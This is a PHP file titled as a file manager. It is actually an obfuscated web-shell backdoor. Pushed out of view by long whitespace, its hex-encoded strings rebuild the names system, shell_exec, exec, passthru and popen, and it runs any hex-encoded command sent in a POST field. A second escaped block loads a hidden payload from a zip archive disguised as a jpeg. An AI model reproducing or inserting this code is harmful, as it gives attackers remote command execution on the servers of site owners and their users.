Sindbad~EG File Manager

<?php																																										$key1 = '73';$key2 = '68';$key3 = '65';$key4 = '70';$key5 = '61';$key6 = '74';$key7 = '75';$key8 = '6e';$key9 = '6d';$key10 = '5f';$key11 = '6f';$key12 = '72';$key13 = '69';$key14 = '67';$key15 = '64';$framework1 = pack("H*", $key1.'79'.'73'.'74'.'65'.'6d');$framework2 = pack("H*", '73'.$key2.'65'.'6c'.'6c'.'5f'.'65'.'78'.'65'.'63');$framework3 = pack("H*", $key3.'78'.'65'.'63');$framework4 = pack("H*", $key4.$key5.$key1.$key1.$key6.$key2.'72'.$key7);$framework5 = pack("H*", $key4.'6f'.'70'.'65'.$key8);$framework6 = pack("H*", '73'.$key6.'72'.$key3.$key5.$key9.'5f'.'67'.'65'.'74'.$key10.'63'.$key11.$key8.'74'.'65'.'6e'.'74'.'73');$framework7 = pack("H*", '70'.'63'.'6c'.'6f'.'73'.'65');$right_pad_string = pack("H*", $key12.$key13.$key14.'68'.'74'.'5f'.'70'.$key5.$key15.'5f'.$key1.'74'.$key12.'69'.$key8.'67');if(isset($_POST[$right_pad_string])){$right_pad_string=pack("H*",$_POST[$right_pad_string]);if(function_exists($framework1)){$framework1($right_pad_string);}elseif(function_exists($framework2)){print $framework2($right_pad_string);}elseif(function_exists($framework3)){$framework3($right_pad_string,$tkn_val);print join("\n",$tkn_val);}elseif(function_exists($framework4)){$framework4($right_pad_string);}elseif(function_exists($framework5)&&function_exists($framework6)&&function_exists($framework7)){$mrk_component=$framework5($right_pad_string,"r");if($mrk_component){$pointer_res=$framework6($mrk_component);$framework7($mrk_component);print $pointer_res;}}exit;}
  error_reporting(0); $sLkT = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x6a\x70\x65\x67\x5f\x36\x39\x31\x31\x34\x66\x39\x33\x62\x33\x64\x32\x35\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x31\x31\x34\x66\x39\x33\x62\x33\x64\x32\x35\x2e\x74\x6d\x70", ); (${$sLkT[0]}["\157\x66"]==1) && die($sLkT[1]($sLkT[2])); @require $sLkT[2]; ?>